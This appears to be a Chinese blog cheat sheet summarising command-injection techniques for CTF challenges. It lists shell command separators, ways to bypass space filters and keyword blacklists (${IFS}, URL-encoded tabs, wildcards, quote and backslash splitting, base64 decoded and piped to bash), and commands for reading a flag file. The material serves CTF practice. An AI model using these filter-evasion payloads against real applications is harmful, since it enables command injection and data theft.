当前位置:网站首页>CTF中命令执行知识点总结
CTF中命令执行知识点总结
2022-06-21 08:00:00 【旋风1+1】
分隔命令
; # 分号隔开每条命令,整行命令按照从左到右的顺序执行,彼此之间互不影响,所有的命令都会执行。
| # 只执行后面那条命令。
|| # 只执前面那条命令。
& #两条命令都会执行。
&& # 两条命令都会执行。
空格绕过
<
<> # 需要写的权限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A
黑名单绕过
# 一般情况下想flag、php这种字符会被ban掉,这种时候就需要进行绕过了
通配符
* # 匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用
? # 匹配单个任意字符
空字符
[email protected] # [email protected] flag
$1-$9 # cat$1t flag
${数字} # cat${1}t flag
编码绕过
echo "Y2F0IGZs YWcucGhwCg==" | base64 -d|bash # 解码为cat flag.php并执行
echo "cat flag.php"|base64
变量替换
$a=t;$b=g;ca$a fla$b.php
引号
ca' 't fl' 'ag.php
反斜杠
ca\t f\la\g.php
Linux查看文件命令
cat //cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php
边栏推荐
- Ansa secondary development - external programs use socket to communicate with ansa
- Illustration Google V8 14: bytecode (2): how does the interpreter interpret and execute bytecode?
- 2021-07-28 STM32F103 configuration information
- A table to easily understand the prefix and suffix of increment and decrement operators
- 图解 Google V8 # 16:V8是怎么通过内联缓存来提升函数执行效率的?
- How to use lerna to manage multiple packages
- Complex four operations (23 lines of concise code)
- 為什呢代碼沒報錯但是數據庫裏邊的數據顯示不出來
- 线上GO服务出现GC故障,我当时就急了
- 图解 Google V8 # 14:字节码(二):解释器是如何解释执行字节码的?
猜你喜欢

【kotlin】第一天

Bean实例化的三种方法

Solve the problem that Jenkins cannot save the configuration after upgrading

2022年的WordPress网站安全问题

RISC-V 的MMU

2021-07-28 STM32F103配置信息
![[actual combat] ACM players illustrate leetcode using stack to realize queue](/img/f7/0a21f2fdc7c18f352c1b134d27c21c.jpg)
[actual combat] ACM players illustrate leetcode using stack to realize queue

Arduino about software uninstallation and library uninstallation

ANSA二次开发 - 外部程序采用socket与ANSA实现通信

面试鸭 面试刷题 网站系统源码
随机推荐
unity裏現實攝像頭運鏡並LookAt到物體前方 基於Dotween
Horizontal slot, one line of code can directly convert the web page to PDF and save it (pdfkit)
How to write the statement of executing stored procedure in MySQL
Solve the problem that Jenkins cannot save the configuration after upgrading
1005 spell it right (20 points) (test point 3)
【元宇宙3d大赛】
[redis]-[redis underlying data structure]-sds
群晖DSM7添加套件源
There was a GC failure in the online go service. I was in a hurry
Construct URL and Base64 download in the form of binary stream for file download
Sword finger offer 34 A path with a value in a binary tree
Dynamic programming to solve the problem of looting
Definition and declaration problems in stm32
2021-07-28 STM32F103 I2C Hardware Transfer Include previous IO Clock EXIT USB use firmware library
Matlab 3D diagram (unconventional)
群暉DSM7添加套件源
Illustration of Google V8 16: how does V8 improve function execution efficiency through inline caching?
(greedy) B. avoid local maximums
22 parameter estimation - maximum likelihood estimation method
24 parameter estimation interval estimation of two population parameters